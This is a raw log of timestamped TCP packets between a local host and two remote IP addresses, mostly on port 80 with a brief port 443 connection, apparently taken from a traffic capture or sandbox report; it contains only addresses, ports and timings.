Dec 19, 2024 16:10:33.499726057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.499762058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.499798059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.500638962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.500652075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.500689983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.501632929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.501646042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.501688957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.502587080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.502633095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.502758980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.502793074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.503465891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.503485918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.503520966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.503536940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.504620075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.504632950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.504657030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.504673004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.505361080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.505398989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.505692005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.505762100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.506349087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.506385088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.506661892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.506701946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.507518053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.507536888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.507565975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.507594109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.508584976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.508598089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.508637905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.509481907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.509525061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.509808064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.509845972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.510296106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.510467052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.510498047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.510519981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.511322021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.511334896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.511384964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.511384964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.512137890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.512187958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.512428045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.512727976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.513209105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.513250113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.513403893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.513446093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.514229059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.514242887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.514300108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.515325069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.515362978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.515459061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.515500069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.516293049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.516334057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.516407013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.516544104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.517226934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.517246962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.517270088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.517290115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.518188953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.518249035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.518331051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.518524885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.519258022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.519272089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.519320011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.519351006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.520349026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.520452976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.520493984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.521210909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.521321058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.521476030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.521553040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.657320023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.657380104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.657437086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.657468081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.657754898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.657804012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.657947063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.657983065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.658771992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.658816099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.659058094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.659610987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.659658909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.665241957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.665306091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.665384054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.665570021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.665734053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.665747881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.665785074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.666800976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.666838884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.666924953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.666960001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.667689085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.667745113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.668031931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.668068886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.668230057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.668266058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.669050932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.669101954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.669187069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.669224024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.670054913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.670068979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.670207024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.671056986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.671076059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.671145916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.671145916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.671955109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.672092915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.672127008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.672250032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.673052073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.673067093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.673094988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.673110962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.674022913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.674038887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.674092054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.674113035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.674665928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.674679995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.674731016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.675462008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.675512075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.675647020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.675744057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.676479101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.676557064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.676665068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.676947117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.677534103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.677566051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.677712917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.677794933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.678401947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.678443909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.678572893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.678606033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.678632975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.678644896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.678664923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.678683996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.679034948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.679071903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.679099083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.679140091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.681967020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.682005882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.682138920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.682272911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.682895899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.682935953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.683070898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.683106899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.683271885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.683303118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.683449984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.683485031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.685677052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.685723066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.685802937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.685838938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.686003923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.686047077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.686168909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.686230898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.687046051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.687123060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.687213898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.687527895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.687882900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.687927008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.688213110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.688257933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.688383102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.688482046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.689192057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.689238071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.689380884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.689465046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.690102100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.690149069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.690247059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.690282106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.691236019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.691342115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.691400051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.691610098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.692224026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.692260027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.692399025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.692433119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.693229914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.693337917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.693396091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.693442106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.694264889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.694305897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.694395065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.694438934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.695261002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.695275068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.695350885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.696058035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.696115971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.696197987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.696230888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.697047949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.697061062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.697096109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.698019028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.698173046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.698198080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.698211908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.699057102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.699073076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.699105978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.699121952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.700037003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.700128078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.700208902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.700278997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.701036930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.701076031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.701212883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.701280117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.702063084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.702078104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.702121019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.702153921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.703046083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.703062057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.703084946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.703103065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.703835011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.703871965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.703962088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.703994989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.704890966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.705018997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.705054998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.705977917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.706078053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.706098080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.706114054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.707039118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.707088947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.707165956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.707207918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.708093882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.708142042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.708204985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.708343029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.709009886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.709033012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.709064960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.709080935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.709461927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.709500074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.709539890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.709574938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.709918022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.709932089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.709964037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.709978104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.710298061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.710333109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.710485935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.710540056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.711304903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.711352110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.711793900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.711829901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.712239027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.712285042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.712399006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.712486982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.790770054 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:33.790808916 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:33.790947914 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:33.791496038 CET	49911	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:33.791510105 CET	443	49911	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:33.859637976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.859708071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.859841108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.859913111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.859921932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.859962940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.860013008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.860069990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.861001015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.861074924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.861090899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.861125946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.861994028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.862041950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.862066984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.862128973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.862926006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.862971067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.863040924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.863081932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.863872051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.863975048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.864012957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.864826918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.864984035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.865005016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.865044117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.865967989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.865995884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.866034985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.866070986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.866837025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.866903067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.866925955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.867101908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.867779970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.867842913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.867870092 CET	80	49881	31.41.244.11	192.168.2.6
